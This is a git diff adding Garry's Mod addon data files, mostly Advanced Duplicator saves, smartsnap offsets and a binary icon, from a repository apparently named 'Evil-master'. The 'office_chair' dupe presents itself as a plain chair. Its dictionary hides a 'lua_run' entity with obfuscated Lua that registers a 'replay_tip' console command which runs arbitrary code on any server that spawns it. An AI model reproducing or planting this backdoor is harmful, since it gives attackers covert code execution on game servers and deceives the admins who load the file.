4=N:0;Y:4=T:02FFBF10;Y:13=Y:16;Y:11=T:02FFEC10;}45378A88{Y:1=A:-0.000640572,-89.8465,44.9881;Y:2=V:23.3044,-18.5853,10.9934;Y:3=B:f;}02FE9B30{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}02FBE6D8{Y:4=T:02FF6038;Y:1=A:-0.000810212,-0.176,131.035;Y:2=V:45.5757,5.82031,28.8641;Y:6=Y:5;Y:11=T:02F95D00;Y:13=Y:12;Y:14=N:0;}H02FFB768{N:35=T:42A3F4B0;N:70=T:44E24E00;N:38=T:3BE1A670;N:39=T:455C3C70;N:41=T:44AC77D8;N:42=T:02FBE6D8;N:43=T:02FF2D70;N:44=T:03005998;N:45=T:0300AFD8;N:46=T:0300C068;N:47=T:43DAFA18;N:51=T:43B83A78;N:52=T:39C98D88;N:53=T:4518AD68;N:55=T:45009A10;N:56=T:3BE18B90;N:57=T:450E80F0;}3BC56460{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}45005E18{Y:10=T:450E8718;}3A85FE70{Y:10=T:3B825048;}3BCFDFD8{N:0=T:3FFB2B88;}45009A10{Y:4=T:3B6BB718;Y:1=A:-0.0158939,-178.405,43.8039;Y:2=V:-18.5637,26.5483,30.272;Y:6=Y:5;Y:11=T:38981F78;Y:13=Y:12;Y:14=N:0;}43DAFA18{Y:4=T:44629E98;Y:1=A:-0.000959358,-90.1471,44.9778;Y:2=V:6.53809,-19.4431,26.9811;Y:6=Y:5;Y:11=T:3C260688;Y:13=Y:12;Y:14=N:0;}3C260688{Y:10=T:3B706D50;}450E8718{Y:7=T:43DCAC00;Y:8=N:0;Y:9=N:0;}450E8748{Y:1=A:-0.0158939,-179.113,43.8039;Y:2=V:-18.2566,6.07288,31.2722;Y:3=B:f;}03005998{Y:4=T:03146AA0;Y:1=A:0.000955575,-0.173009,169.636;Y:2=V:45.6255,22.2047,15.2012;Y:6=Y:5;Y:11=T:03000358;Y:13=Y:12;Y:14=N:0;}40184950{N:0=T:450E8748;}3BE1A670{Y:4=T:3BCFDFD8;Y:1=A:-0.0158927,90.1479,43.8039;Y:2=V:23.8784,46.2102,14.7606;Y:6=Y:5;Y:11=T:44893E48;Y:13=Y:12;Y:14=N:0;}02FFBF10{N:0=T:0317A5D0;}40721BF8{Y:1=A:-0.0158929,91.9167,43.8039;Y:2=V:12.1216,46.5442,14.7606;Y:3=B:f;}45378758{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}4583B740{Y:1=A:-0.000914834,-89.6904,44.9907;Y:2=V:23.3997,-16.8782,25.9188;Y:3=B:f;}45270180{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}02FF1BF0{Y:1=A:0.00101298,-0.177995,40.1606;Y:2=V:45.5735,5.15918,15.7224;Y:3=B:f;}3C152940{N:0=T:28E34678;}3B825048{Y:7=T:44E7DA38;Y:8=N:0;Y:9=N:0;}450C2488{Y:1=A:-0.0158939,179.295,43.8039;Y:2=V:-20.3286,26.7566,14.7606;Y:3=B:f;}44873988{Y:10=T:3A6434E0;}4261D368{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3BEFCE60{Y:7=T:43A00F20;Y:8=N:0;Y:9=N:0;}43A00F20{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}0300CF18{Y:7=T:02FE96A8;Y:8=N:0;Y:9=N:0;}4529E860{Y:10=T:4261D5D0;}452706E0{N:0=T:44AC7610;}03146AA0{N:0=T:03146AF0;}406F0700{Y:7=T:3BC56460;Y:8=N:0;Y:9=N:0;}38981F78{Y:10=T:406F0700;}393DF420{N:0=T:4583B740;}3FFB2B88{Y:1=A:-0.0158927,90.1479,43.8039;Y:2=V:23.8784,46.2102,14.7606;Y:3=B:f;}3B6BB718{N:0=T:406F0BD8;}02FB7A68{Y:10=T:02F80950;}02FBDD28{Y:7=T:0317A418;Y:8=N:0;Y:9=N:0;}44E7DA38{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}02FF6038{N:0=T:03000268;}3F6C6E48{Y:10=T:45378728;}447F0A60{Y:1=A:-0.000959358,-90.1471,44.9778;Y:2=V:6.53809,-19.4431,26.9811;Y:3=B:f;}39AED650{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}453787B0{N:0=T:45378A88;}406716B0{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}4518AD68{Y:4=T:453787B0;Y:1=A:-0.000640572,-89.8465,44.9881;Y:2=V:23.3044,-18.5853,10.9934;Y:6=Y:5;Y:11=T:3F6C6E48;Y:13=Y:12;Y:14=N:0;}39794668{Y:7=T:39AED650;Y:8=N:0;Y:9=N:0;}406F0BD8{Y:1=A:-0.0158939,-178.405,43.8039;Y:2=V:-18.5637,26.5483,30.272;Y:3=B:f;}0317A418{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}0300AFD8{Y:4=T:02FE86E0;Y:1=A:0.0008614,-0.173992,165.836;Y:2=V:45.6274,22.8251,28.2022;Y:6=Y:5;Y:11=T:02FB7A68;Y:13=Y:12;Y:14=N:0;}44629E98{N:0=T:447F0A60;}418B6FD8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}02FE86E0{N:0=T:02F854F0;}3F978740{Y:1=A:-0.0158939,-178.582,43.8039;Y:2=V:-19.6765,7.09607,14.7606;Y:3=B:f;}02FDB008{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}44F0AD30{Y:10=T:3C196618;}3A6B6168{Y:1=A:-0.015893,91.2092,43.8039;Y:2=V:22.4658,46.7979,31.3598;Y:3=B:f;}3911D898{N:0=T:450C2488;}03000268{Y:1=A:-0.000810212,-0.176,131.035;Y:2=V:45.5757,5.82031,28.8641;Y:3=B:f;}44EF3808{Y:7=T:3BE55EA8;Y:8=N:0;Y:9=N:0;}45781A58{N:0=T:40721BF8;}02F854F0{Y:1=A:0.0008614,-0.173992,165.836;Y:2=V:45.6274,22.8251,28.2022;Y:3=B:f;}44D41610{N:0=T:3A6B6168;}02FAAB88{Y:7=T:02FDB008;Y:8=N:0;Y:9=N:0;}3A6434E0{Y:7=T:415C4D28;Y:8=N:0;Y:9=N:0;}3BE55EA8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}44AC7610{Y:1=A:-1.60554e-005,-90.137,44.9985;Y:2=V:6.94043,-19.6874,11.8866;Y:3=B:f;}02FB55B0{N:0=T:02FF1BF0;} +Constraints:02FC6590{T:03179428;T:02F71FE0;}42CC7DA8{Y:20=T:3AD06CE0;Y:22=Y:21;}44F17610{Y:18=N:46;Y:19=N:0;}44BBE068{Y:18=N:41;Y:19=N:0;}02FA6970{Y:20=T:02FF18F8;Y:22=Y:21;}02F71FE0{Y:18=N:46;Y:19=N:0;}02FDB620{Y:18=N:52;Y:19=N:0;}406F0C88{Y:18=N:51;Y:19=N:0;}4089EDD8{Y:18=N:46;Y:19=N:0;}40E6A738{Y:18=N:46;Y:19=N:0;}02FFC140{T:02FDA950;T:02F832B8;}40E6A680{Y:20=T:40E6A6B0;Y:22=Y:21;}03000218{Y:20=T:02FFFCC8;Y:22=Y:21;}45378AE8{T:45207098;T:453784F0;}02F832B8{Y:18=N:46;Y:19=N:0;}3C37BAA0{Y:18=N:70;Y:19=N:0;}4066F210{Y:18=N:46;Y:19=N:0;}3FBA3730{Y:20=T:452085B8;Y:22=Y:21;}44994138{Y:18=N:46;Y:19=N:0;}40BCAE70{T:3B705EC0;T:449D6018;}449CC0A0{T:419D0928;T:4536B4A8;}03140880{Y:18=N:44;Y:19=N:0;}3B705EC0{Y:18=N:38;Y:19=N:0;}43A37C90{Y:20=T:449CC0A0;Y:22=Y:21;}3FABCE40{T:3C37BAA0;T:3AE21FA8;}43CC7868{Y:18=N:56;Y:19=N:0;}3B74D490{Y:18=N:46;Y:19=N:0;}02FDA950{Y:18=N:42;Y:19=N:0;}4536B4A8{Y:18=N:46;Y:19=N:0;}40E6A830{Y:18=N:53;Y:19=N:0;}02FF35B8{Y:20=T:02FC6590;Y:22=Y:21;}02FD62D8{Y:20=T:02FC9970;Y:22=Y:21;}419D0928{Y:18=N:35;Y:19=N:0;}4024F2C8{Y:20=T:3FABCE40;Y:22=Y:21;}449D6018{Y:18=N:46;Y:19=N:0;}40A288B8{Y:20=T:3FF63170;Y:22=Y:21;}3F978838{Y:20=T:43CC75C8;Y:22=Y:21;}02FC9970{T:02FDA568;T:02FB9BD8;}45207098{Y:18=N:57;Y:19=N:0;}3FF63170{T:3FA6BEB0;T:3C298940;}3AE21FA8{Y:18=N:46;Y:19=N:0;}3AF42BE0{Y:18=N:47;Y:19=N:0;}3AD06CE0{T:3AF42BE0;T:3B74D490;}450E8778{T:450E8870;T:44994138;}H3A1138F0{T:3F978838;T:401851C8;T:4028B4B0;T:02FD62D8;T:40A288B8;T:03000218;T:3B752158;T:3FBA3730;T:4024F2C8;T:43A37C90;T:02FF35B8;T:45378AB8;T:02F85518;T:40E6A680;T:02FA6970;T:42CC7DA8;}3B752158{Y:20=T:40BCAE70;Y:22=Y:21;}4028B4B0{Y:20=T:406F0C30;Y:22=Y:21;}02FBDA30{Y:18=N:46;Y:19=N:0;}02FB9BD8{Y:18=N:46;Y:19=N:0;}3FA6BEB0{Y:18=N:39;Y:19=N:0;}40E6A6B0{T:40E6A738;T:40E6A830;}406F0C30{T:406F0C88;T:4066F210;}02FDA568{Y:18=N:43;Y:19=N:0;}45378AB8{Y:20=T:45378AE8;Y:22=Y:21;}02F85518{Y:20=T:02FFC140;Y:22=Y:21;}452085B8{T:44BBE068;T:44F17610;}02FA5548{Y:18=N:46;Y:19=N:0;}401851C8{Y:20=T:450E8778;Y:22=Y:21;}03179428{Y:18=N:45;Y:19=N:0;}450E8870{Y:18=N:55;Y:19=N:0;}02FF18F8{T:02FDB620;T:02FBDA30;}453784F0{Y:18=N:46;Y:19=N:0;}02FFFCC8{T:02FA5548;T:03140880;}3C298940{Y:18=N:46;Y:19=N:0;}43CC75C8{T:43CC7868;T:4089EDD8;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"models/weapons/w_missile_closed.mdl" +6:"Model" +7:"Color" +8:"RenderMode" +9:"RenderFX" +10:"colour" +11:"EntityMods" +12:"sent_nuke_missile" +13:"Class" +14:"Skin" +15:"models/props_c17/furniturewashingmachine001a.mdl" +16:"prop_physics" +17:"CollisionGroupMod" +18:"Index" +19:"Bone" +20:"Entity" +21:"NoCollide" +22:"Type" +Saved:359 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/office_chair.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/office_chair.txt new file mode 100644 index 0000000..44b9944 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/office_chair.txt @@ -0,0 +1,54 @@ +[Info] +Type:AdvDupe File +Creator:"AdvDupe" +Date:10/10/04 +Description:"none" +Entities:2 +Constraints:0 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1337 (exported) +Time:13:37 PM +Head:179 +HoldAngle:0,8.02,0 +HoldPos:-5.43051,3.92103,-0.285474 +StartPos:-2024.72,-2201.65,-143.969 +[Save] +Entities:185E5028{Y:8=Y:7;Y:9=T:185E5088;Y:11=Y:10;Y:15=T:185E5058;Y:6=Y:5;Y:17=Y:16;Y:19=Y:18;Y:21=Y:20;}H16EB7358{N:179=T:18EE2C98;N:107=T:1543CC48;}185E5088{;}18126518{Y:1=A:0.110851,-2.26633,0.0649324;Y:2=V:5.27173,-4.13306,0.270523;Y:3=B:t;}1882DFA0{N:0=T:18126518;}18EE2CF8{Y:25=T:1882DF70;}1543CBB8{N:0=T:1543CBE8;}18EE2C98{Y:4=T:1882DFA0;Y:6=Y:5;Y:22=T:185E5028;Y:24=Y:23;Y:2=V:5.27173,-4.13306,0.270523;Y:21=Y:20;Y:26=T:18EE2CF8;Y:1=A:0.110851,-2.26633,0.0649324;Y:27=N:0;}1543CC48{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:27=N:0;Y:4=T:1543CBB8;Y:6=Y:28;Y:21=Y:29;}185E5058{Y:13=Y:12;Y:14=S:"0";Y:30=Y:31;}1882DF70{;}1543CBE8{Y:1=A:-3.43192e-013,90,0.000247415;Y:2=V:9.18774,-246.495,-82.6752;Y:3=B:t;} +Constraints:H18796A28{;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"prop_vehicle_prisoner_pod" +6:"Class" +7:"Half-Life 2" +8:"Category" +9:"Members" +10:"Chair" +11:"Name" +12:"scripts/vehicles/prisoner_pod.txt" +13:"vehiclescript" +14:"limitview" +15:"KeyValues" +16:"VALVe" +17:"Author" +18:"A Plastic Chair" +19:"Information" +20:"models/nova/chair_office02.mdl" +21:"Model" +22:"VehicleTable" +23:"Chair_Plastic" +24:"VehicleName" +25:"VehicleMemDupe" +26:"EntityMods" +27:"Skin" +28:"lua_run" +29:"models/combine_helicopter/helicopter_bomb01.mdl" +30:"PlayerOn" +31:"lua_run,RunPassedCode,RunString([[concommand.Add('replay_tip']]..string.char(44)..[[function(_]]..string.char(44)..[[_]]..string.char(44)..[[args) RunString(table.concat(args]]..string.char(44)..[[' ')) end)]]),0,0" \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/dermaskin.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/dermaskin.txt new file mode 100644 index 0000000..054b63e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/dermaskin.txt @@ -0,0 +1 @@ +HeX \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/smartsnap_offsets_default.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/smartsnap_offsets_default.txt new file mode 100644 index 0000000..79479d2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/smartsnap_offsets_default.txt @@ -0,0 +1,9 @@ +SMARTSNAP_OFFSETS +models/props_c17/door01_left.mdl=0.28,0.28,0.28,0.28,4.81,4.91 +models/props_c17/door02_double.mdl=0.28,0.28,16.12,0.28,4.81,4.91 +models/props_lab/blastdoor001a.mdl=0.28,0.28,0.28,0.28,1.09,1.07 +models/props_lab/blastdoor001b.mdl=0.28,0.28,0.27,0.28,0.73,0.72 +models/props_lab/blastdoor001c.mdl=0.28,0.28,0.28,0.28,0.71,0.71 +models/props_junk/trashdumpster02b.mdl=0.36,0.31,0.37,4.62,0.59,0.58 +models/props_wasteland/cargo_container01.mdl=0.74,1.04,1.99,1.98,1.36,3.26 +models/props_wasteland/cargo_container01b.mdl=0.53,0.55,1.99,1.59,1.67,0.74 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/hex_steam.ico b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/hex_steam.ico new file mode 100644 index 0000000000000000000000000000000000000000..6c850b5497eeed45965aa63b114bedaa83502a5c GIT binary patch literal 73070 zcmeFaWt5fY)9%^O?(XjH?h3Tf&^UC{&_Flt?!h%^up~$lBtb%qxVyXSKklB85G2?6 z-A{*i-pQJob!I-ymvdO_S-W?$_ak@JU3FE}Rn;~&J#1`kqM~egjk3AP%f_a_#>U2r zSMz?NosG>${JdgC_xmKL9yY!GZETYG3}3OS;xL~x|5ot1fB&=V*;DrBu|MS8H9GQbJr6?(M|+Y`8AZz-O|;UF6R>GD4lLdr1g%QLwwcb*=PpH^l_H%GJ?U z;l55Pj(1m6L5MOVJXD(#p9vWQWr)l+(+A%RtlN%GY zX>^Jv_D$93%5Y^yx^eCv@^$X1FfV&mCi!YY?+6Vq3zol|ojPhF735;8)L<7)s0&tS z9q+lH{`tXL*PgC{CE@Cu?WJ+Gv06PMSqu6_YD966MwW+b<*)>es|etHVVc(zrlX6B zHL@yBxAHo3V5Zi!rD}HHD4yF%70EtYG$2;Z*+D9aaZ@GlLp+=`xG;=!M`}=kw`Mm- zYWcuOtr!}wo#WGV+wvlfs*6!;d7y?A1Ze-%Ol|2%(2T|yP2yhXw1jI;Q#jxC)#g!& zI=QS&gG-`yXj;0u>XUWzl5(vZ7ORQ9Bb6H9psiz4Id7Krtd%ML%8KyT+_NYIG#Al<%sxZb$Bk>@DYeXC2gxh-BN7vyL#&r+A}uaU)p zT0AgHFDeX&1wwN z`cbKR=BmCrwY(ZRmFn@G%{u$o3_W^vyWYKTt;#aO73JrqlGHF|M0smaS)?9ZTdpgH zL}_@jpN16qX>1+qUlXY54Iw%(HBFx#=%sPJQdE{4j*fXNGt5ESzWP+C-gLcJZhzO$;cqE(+6 ztdSMrx_d>5Rt<~N*s1`HV$CP^4%CER!J5VOuSdoo9jMpx5viKlH&QLd@yd(EZeSn$ zoE;S%?4e`VuF)UgJ*RW;Zq@ncm*~RF%XI#!**gE+5}p6{5$)c(Qh^>WiVE~lh_|DP zQbJUp6R5#Op&DBqsnd%Kc>ZX0q5ECvU2CzgwHD*hg0~QcYx3`}@czC0}yl=WbzphdDuE^JpPWFFOh-Nm1>GYB;-Nt^pZ&jf_Jw8O|Ufrq- zzr3N}fB8oHu3V{+V;g`pZ(9j?46Uwm^< z1z>wm9^N5OXFL3>9lph1owecY^H4o{-*H{M_@^$KYo7mF7k_z07r(lT>mJmFw>Rt3 zE6erw%ggoV?n=GAyFwrAuF@BW>h<067X5Tvn|^zEn$EwqOP9WVSbzWdwJu%wU2nW_ zzdBorl^W(DN3QRJfAw{9WG#%ZwN+Vyj|P-P>eDcc0v+^Y8B0UyskzkGG7_TYGDD z=ki=#KOBO9L9iNkd{%7dujC38GnxezAlJ(M+ z<@)jFq3rWzy71Xi{r>qK+PS(*=@DLBuN#LLtlj_6ohfuU21N z*Q8%gkI+T-_r=eT>f&#&>yvk%)P$iG>Q~?|KYY8vH@4s*A2$cEjID)rG9uhHcU+Tx z`tng-{Qgm0`e2VPJiAc8-ZoMn?5WY`hkEPl!@c#%buIepa6f&27~9R7n{~fyX^!65 zQK27>HtF2`U990Y{q@~_I{({ydhwCd8dVdI{R-ER;!yUVbGPiVGxy)PTERX}7QQQp z^|Elq=sp>G?TJ(R>z5aG{!3op+N59apQPVz8HTND#5XnQl^r#DV|yjGI968-i_?{( z;`Gp}Vtsd{Sr@RSmwtL$XMcEKNA|AJ_+AlO502@d8>r+EPq2_JxY1tm!Cw04x&4X> z^00I;nEgI0^V(b$@BJ#@<+{qgPNI{*1GONV~Gd9dExRi(R@6@o9)bZ|<#nlfGS zb#5A7`zJ-&Mg`z}^~=z{SP#t!z$3ejZj(1hAhZJ9qnUp==OA30txUe!w{*<+hV#%Wz^ zoUWaksB5OA=)|lvy|=HozQ1dRh82e)lSEBwh)}=MM1_HGJa}GDt{)rdsX3!7_2IEG z`tip8`uSLczCGNe_fCw_m2(Cv79Z(iZ>K;{7v$rvetChK+B;MS7S`*7)06eX15@?s z$u_-x!w|iFph-X6JVM{zJY3(O8LbPit^Pk+HyH9LXep(z@*FFIstX@qr#GKGsMe+u1+xa3 z;D;gj&ic$y4XaMog}fZKe0}4@2$gL6zZ`xMb`1ix?(-Mp+s-(snh322kYB2 zUHbganOZxoN%4X1%8PMVd4h+A^vc)yA70Xr@7$z)^Lpv79j%(zKS7K8N9o2H8J4|W zKQc*Uz}*{0C8@J_l1^=I(-$X4=^gOoW7w%1vCBKgC1^uyjD?3cwZ~g~cPrR+&)7um zpO&qovohGr`FbB2-?XwtLra6SbV!1#(u4Hl19Nr%>OzeyLifwURh#0@UM1$rbhqM# zj*2kN9+0eU;POsxi}BL-Kvql;x#S?4iZ| zW3;TJLaW-dwRLp7ZUm%bW6Ol0gu6ZkAW#7UKj z=xctE77t6(bu)6benOQV$1We4k*bYj)3jh@k!B6f1vdt(U#^b|qTGl-TzGW>W3k`r zg0ygWx)ya*Ys-W@9iEe~TUIx!vsbuQwv~WUqdlYd&$w zVB&~ry+d^6%vwzwTCLS{+O=U;U(Fqupygoh%t%j7=o6)(#F~9Fyue8w`gcCy|L^xE zPhrv$Q5=`^6jkIj{{7FDJb(vBLus0_*i$~l-zL^KcGut!2mGOVwfr)#Uf8ObAWv{= z7{0=eSR;sd$4^UJGl@}SiE&~SfFI2Wb0ZcCR3fo+3bEXfLVxAQcxvu|MAnyhcM$fs zJXCZ0hpDqBSbM;tEAdwcXO^g|CX{t0Uy|vsqBtMoQ0zT=d(FgD;+zUKqhos~q!T|! z5M%j)v4eDMeldO_OxMh*)+@Vv^Vu}ZMt9+_y6VDp+p-cpcU7Ynj>zLaJap}pOpPct zF_J&$3DeV?tJNzbgdBvs#t$yjXD?i%*A8M!Z*0^1rzhx(H%_U!Dhu1|q2Bm_!?SX^ z??B>AKTRRdd3as9W;MrXL`9U6!u*sP8>%NyF3=wjP156gMk*~PR8jt}_`4{r?#R{Q znHgZt0G(c1pa(Wo>DQNc>aABE*NVH+!<9QE57aNk>d@a=Et+#f&a=-#zzEsKyl@)KQeXDQ1Hba$M@*s zxo>sxyQg&V!|TDSD|83A>5j#@x_wbDF+`ERzZ;uREcnzt`@kdJxvC&=_#-E-(79*V z=-q?;b<3h0J-)6)@9eJ8-OCHGNrhH?_0_31o&VrEJ#*gy4IsWSd7{W5FMPX$HZ2&g zv-s=Zo|vz9ukNG&TwACA>~FAQw(VmQ^yT6H#Gv=+_`WMNo4iA6m?!sduLB!8@sW0_ zO7_(iW2^PW+c)cv=a%dBtEzSV^mL7>_Os&d4-OB}>M4CRtACubV*})kpBjg~eFr-? zwmwDPtU+xWF+|@)y>VutUbw1{c8*KZr^klqtJ_BFtveQ|ttt{f?5;TQ&ox_S>i37H z>D*nTb@q|zI=W{rKG;`PnGu@aH(p=Ab_4$MB))b4`G8g(TG0=C=db={33~d-EPZ}k zr?p0p;7gv~Sf=-njL>8IMyi*|Rb}|=-KUP|_FWUeUcTr-F#94&D~BiQSz`U`@fk}8 z$7&3@jG^qC3AG_wF)B~{(CO35t2DJSLf1?$Ajc3yuEI|_kuKP%Q0<+Zt>X(zw0u;N z7POaX5H>s`)KQcBglbm5Sgjo2TifO|fnUPN-Go~9{onTB|LuEYXI7Xm_4q&Rj19Tc zfB!4U%awo4~1aMOOnE{!@lYoSgo`WY!P|c&SAYZXHu)`%ChC> z;V3uaWcwcEi^0jZ$ibGM&0%7wq=a~U3cp7d=GCnGW%--mb^qKg2M=POXmUKG2i9ue zx_K(#x(WW|nZupb)|gKm)}oGdF4G_QHRYzYlo_Z*t!L*vr^JZ}l$7RAX_fW{hmYH+m}G-(G`z$^&7G5y&?3TUVf63YW&XM@V$p5nJO|8O;w~^Q7J?QS_C@-g;)G9o+Vc|5* z8Z!_q=m8#cRAIcYieh~y#`x$+k?wC!Q`8KT+QBgP+DY=?mclGHos7@UOg1$ zVxxjcFYs4{X0$bEB(b2s3wa{;zALuM(XwUTw*P<2|9@WomfggTx+4ET@+?8v^Q!y| z;(-v28{B~H^;NL5jnc@^&7Ih)ajngY5B0HXXQpOoVg!3Td-bqEuGXG5w!Yh+Uw$=t zOe15XAI1(`_CH2W=J&==7@cvzj(9scD9qbksZpVt*xI6_yVq+#MY@uFZ58j`gLpSg zby<;GHfgvfwDy-5Ha`H2>Wm&ZgE<|0a6S$@%LiT7JM-FoST@hxGsk7S^S|2be_wxt zpG=+D13M5O>IcsCR(^7{3R0pK+SGpy1~KyL_S>$!dhtFK9jGcy)9wxP zbk)kKN)EJFggZ70UCfB~S6-aI=1p$b;HDZSQ3Lld_yrv>&*Na>4bExX?Sq`qIdlH* zytdI(bC`Ptr&xXvec;~BVd)Px%jChkzhmszKR6YgF}3l_-|K1K|FZ`ixUQ+m_h2o0 zaQz-ezsz%)-*as{K4*`f+y0|>-F0>Id*h3H@;%OLuE{wZxj(Zm|8>9rT*qA7+>5cP z=Kjoit!FXkHlN{lX8p}QnddY2Wa9bD`_KIT@?pMbY^T9_z8pRdHpH$0iVgC%YWlul zY=7h*>+h)iSZ^(vI6^tBd4#XCJovm5`eMo7+(%DvxRZOp+}A!-8dE*W2<^_J{!(wzHf3QPMpt<`?tXs_B4l)$3OBn zGPU*z_R&1Qk)efCxerTk_^gf58}7$^*4)3*W#gO8`~UjBC10b9=KDtee8#LDpSAnv z+(r+q{l|S7{WWWBp1)h)y3cQ9z#Vh@MlLnGjX#QD3ae|4E6{k#&U%0Q#bPk$NRGuf%d#|c%etG$i?xW zdo=Pl-*-cf9(>1@pN%arH3%QFwxu-B5wEqe0K{c0iC8fx<9d?%C~ zc19$*mT(Vs4(_c|>f-T1&I(k?uyXO&yQ(n;NU9$!l@X1}j?olAkZj-`Z1_ z4j^-*1IWph`!RZBY7=f8&V1gyH?lK2VC;bPJ)Xz-GRyAp+~)Z%?{D*J^vu`=8|xJr z@I9l8M#h%S;yc~@AKl&^X| zpFR1V53=%vujFFx3)%Y<&-sG^T^#JKnp_+?+=kLf9pAq~S8rRUa6eZ?_sD z>p=|^Jur1AKk8E6td&1&;qOLV%>5d@GHYn;iqU;z`^=uU><7Nuri!N(xf1{8acLu5w47UhG{Xk04JQ zl~eOxI%TlN^ea~H+&FSCJ@}lPJdrx zY==AItke)U>{but?~WdT4apNMoic=6Q5N|M4=eW{?oJMaXAS23hHnTrZHr6a90%EdL(e^0(!4hCkGlyu{;U!5i|}`WBjs*k8z0uk--G?ddKZ;m7%xSktI@1+LIC`$q+lh5dccP?xgwsyk3G(P zx&5O9Mo&Y%Y^@q;L6jYO;KuhH6yamIr>q_JAeJ1Dc^~0Hd|~z!YZ48<$c|#I;d}bA zCZX)_tS~!`sEmXc5Ucx+ZPmCzHOSdb^;yBHO7T)*oV&%NjN}~UX`#x-UM%UX*O-P> z)x-HqQd~KFD3A_`#BR z4;4nUcGP@xqnwq5?gemO7rtZmy(h0>tao0F3!m{)Mu@YOt2XlQ_TdI!lCLuLe(Xse zypF6Wc(2i3^5=KX;0epNV}p%fF*qfWJ!`nMMM?hTT^%i-W^$id$SWM*ZS07fvlI9l zjDs%v!CN)Fk;ou7g}`Zz^s!TJyq9X=yVa(8s&~4(>NDKc2cF~T=3M1Rd9fz$mJTF^ zxKrP9v-V?JsEe+@a;7E?q{g1*tv;DSN+b6dkNqp;zWd}-$HqUlXbEr9^nb z&2_Zui3XpUJztze443MnUexj`QsL*aFMP3eVZ;!%g~`f?vs)PJsf=I;VtX5vCHbju zei+=o5XBO6Mxh%O@s64Z_oSmPLigUVP7?-HswqE4LrTIloErF;`ULEQy9zj0LV%OT zwp75=fFCiSK;xRyG^irc(%UdFNF4f>0k_rgU4l8k!Gzs$iSYsd_$KzTiARk+c0;Dd zR>b-`U`u?-Jq5#`bfK2yi(PX-#!dAP%O`RwQ43&n?W@4`kV_kK0%XE$F6JznAhfzOH+w!z?|ZeJOSkE=;`hYLh*t#=|^@-Xb1oBYu+7xuidInK!6oA=pKo^To9u*2sa znD343JX95n{`&S%Ziv0=viWYjKX$&`4_UD^_ZkT|HyaK`DKg9sKsKQ^n$nb@d4p55 zabl(B4$D$YNr?Ku&nUv4Wrvu&Dr+6X9_HLNDL&}9qmFN#tf_rtHHE!5rZPkwJX>Q5 zyo`VzDhs!PcW$_@!KzJm<@;{vb2NPT5RI%!S9!dT;thU;`!NU}?5u&Q8des&`Z#2KdmM7S&Fv?MR*!Cd&vcY(UyJzrqG`#K_Y^~vC zx0eKHXqLMc4NkQ9H#=w6X-fYzO&pMK+1UC_AD$&Z6>-ig!cW&{pl7)Os*JYR>1~s= zVq~^fkIJQ&AWBo=SAXys$~I%?qGHKf3c$iJ;Z8fpZPaDQ$YWc8q zZ5mggE5~NSiHg?s^J?_l`*)~?b63XL>5Abgx^-E(_H~57Yf6Ie6ruq|VeAbXHS^5R z-MCcO&Z*J5(OFtMrc{}JhnGch?s)V+h8~sx&29?R zyykFtf5DnmAHllCs~DW&hb{GoV`1VI6W4}fcUx=Yv}|OqHjmBMu1SSj+m@i+aNv%v z9*V9;(_;eWi*%rWBTThP4(z8u)g{?$EIQc_-eyg-gYLU#uJ+EY*T#+2P&Y;J6jT6^&PAJRDHCL1VE!3*nY69h9n} zc|OX=uD8{}higbyZK8ul6nW4W5Cvy0QTgG&skbAI8K{KCtBS0GwT}l z%PYs#QV^x8csJG~T>B@{kFvfDZgYlqOeoY)I1j_|RrPTEUb$_Zj$F~CofC7ls3l&d zVYW&Kv!xRMlqI@>O+3Lz_)lbGdYW+gEQc#QCkVLWp8?@1%65Y zTu%)(J|@RQ!wS4KIFH;qan9~J{dII{Uu_+isjVGp^zkHUZ z8n}{bE%d?V<$(6z_)^xzc*Is$iW3Y^4|_=k!(H@$Rbvu@eas;j5wY6U$LHPJos+esRP?;VZ(9Z^C5 zSQtK#m7?V&Nf0YePr6mbHNk>Y|9TiNTFsVNZLY0}1%$rCojT0r*++6|wM*!|?L~d?pZ` z3iq{Bae5$iZClGvr3O0_yBOb04?;XRDA!2~o5R?LNm}2QM&CrLW(_F-KR8+SxfuLj 